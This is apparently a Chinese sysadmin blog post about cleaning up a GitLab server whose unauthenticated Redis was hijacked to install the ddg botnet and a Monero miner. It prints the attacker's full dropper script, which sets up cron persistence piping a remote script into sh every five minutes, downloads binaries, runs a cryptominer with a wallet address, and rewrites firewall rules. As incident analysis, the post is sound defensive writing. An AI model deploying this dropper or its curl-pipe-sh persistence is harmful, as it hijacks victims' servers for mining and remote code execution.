gitlab网站被黑redis被劫持6379端口需要提交认证,如何挽救?

Posted by Yancy on 2016-12-02

今天早上5点多收到阿里云的告警:服务器CPU百分百,gitlab服务器访问出现500,第一时间排查问题。
毕竟这个关乎着开发今天可能无法提交代码。


第一时间我查看什么原因导致我gitlab 500。

根据以往经验gitlab出现500 第一:版本出现bug,第二:服务器网络不正常,请求不到。

然后查看日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@GitLab ~]# tailf -1000 /home/git/gitlab/log/production.log
Started POST "//api/v3/internal/allowed" for 139.129.22.17 at 2017-01-06 10:14:26 +0800
Started POST "//api/v3/internal/allowed" for 139.129.22.17 at 2017-01-06 10:14:31 +0800
Started POST "//api/v3/internal/allowed" for 139.129.22.17 at 2017-01-06 10:14:37 +0800
Started POST "//api/v3/internal/allowed" for 139.129.22.17 at 2017-01-06 10:14:42 +0800
Started POST "//api/v3/internal/allowed" for 139.129.22.17 at 2017-01-06 10:15:35 +0800
Started GET "/" for 177.154.56.233 at 2017-01-06 10:15:55 +0800
Processing by DashboardController#show as */*
Completed 401 Unauthorized in 55ms
Redis::CommandError (NOAUTH Authentication required.):
config/initializers/redis-store-fix-expiry.rb:10:in `block in setex'
config/initializers/redis-store-fix-expiry.rb:10:in `setter’

这里提示Redis需要认证,Redis::CommandError (NOAUTH Authentication required.):这里当初就没有认证的,突然需要认证,明显被人黑了。

因为redis服务在2016年3月份官网发布了一项通知:使用redis主要设置密码。
可以看下这篇文章:

Redis 未授权访问缺陷可轻易导致系统被黑

全球无验证可直接利用 Redis TOP 10 国家与地区

解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
临时解决方案
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
官方解决方案
暂无官方解决方案

现在版本gitlab 7.0版本的没有redis设置密码一项,所以就觉得奇怪,为什么会有人设置了密码,网站导致获取不到数据就出现500了。

查找原因:什么原因导致CPU一直100%

首先SSH登陆,top查看进程,发现奇怪名字的命令AnXqV, ddg.217隐藏进程。 还有一看就感觉有问题。

知道这个进程然后我们单独看下这个进程具体有哪些:

1
lsof –c ddg.217

查看关联文件,发现对外的tcp连接,不知道是不是反向shell…

从这里明显可以看的出来,我的redis-6379 被人拿到shell权限了。

从上面可以看到:

这里我到/root/.ddg/17.db这个文件我打开看是乱码加密过的。
加密的 看不到数据。

这里第一步删除第一个病毒文件和加权限位:
1
2
rm -rf /root/.ddg 删除依赖。他依赖于哪个文件,然后给加一个权限位:chattr +s filename
删除掉了 你手动创建,然后加权限位。
第二步分析下面IP地址:
1
2
3
4
139.222.173.127
139.70.199.90
.....
后面就不用解释了,这个明显当`肉鸡`了。

临时方法防火墙配置屏蔽这些IP地址。 治标不治本、

这里解决掉12506进程:kill -9 12506

配置 一个hosts

1
10.0.1.110 www.haveabitchin.com 配置成 百度的ip

帮他配错地址,他肯定请求下载 不到这个脚本了.

然后按进程程序目录下面进入/tmp/删除 ddg.217文件,删除duchduckgo.17.log 这个是病毒运行进程输出的日志文件,
删除hsperfadata_root 这个文件里面是个进程,也删除。

然后在看看是否还有没有这个进程:
又启动13929这个进程,服务还是占用很高资源CPU:100%
定位到是哪个程序 发起的请求.查看:13918这个进程:

从这里明显可以看出来,这个地址:

1
2
/bin/sh -c curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh
curl -fsSL http://www.haveabitchin.com/ddg.x86_64 -o /tmp/ddg.217

这个明显是哪个程序一直在启动。

第三步继续排查:

删除这些发现还是CPU百分百:
在继续查看进程:

1
root 26373 1 96 Jan01 ? 4-12:14:03 ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44GpQ3X9aCR5fMfD8myxKQcAYjkTdT5KrM4NM2rM9yWnEkP28mmXu5URUCxwuvKiVCQPZaoYkpxxzKoCpnED6Gmb2wWJRuN -p x

这个进程是什么:mined 百度告诉我们了: mined肉鸡木马 很吃CPU一种病毒。

第一步解决定位木马:
1
find / -name minerd

在服务器搜索所有相关minerd文件。
搜索到了这个文件放在我们/home/目录下面。

第二步删除木马:

查看计划任务是否有启动:

1
2
[root@GitLab tmp]# cronte -e
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh
服务器恢复正常:

我这里就贴出了这个木马的脚本内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216
if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi
DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner
DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379

分析了一下,它除了自身进程外,还有3个守护进程,而且这5个进程的PID和名称每秒都在变化,估计是在不停的重建吧。

以及添加服务定时执行脚本。

1
2
3
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

下载病毒文件,主要是截取我6379这个端口,提权,等等信息,这个文件对方做过加密的。

1
2
3
4
5
6
7
8
9
10
if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216
if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

第二个病毒文件,反向代理肉鸡的木马,也加密过的。下载放到/tmp/下面 这个是临时文件。

1
2
3
4
5
6
7
8
9
DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner

对方配置的防火墙规则:

6379 本地访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT //只允许127.0.0.1访问6379
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379

删除这些文件,在看看就没问题了,后面把redis设置了。 我们当初设置了反向代理和防火墙规则,权限设置了很细,只能普通用户启动服务。

总结:

这次发生破灭性的攻击,总结经验这里gitlab走redis单独走本地:设置:bind单独本地跑。127.0.0.1 第二:普通用户启动redis,第三:设置防火墙。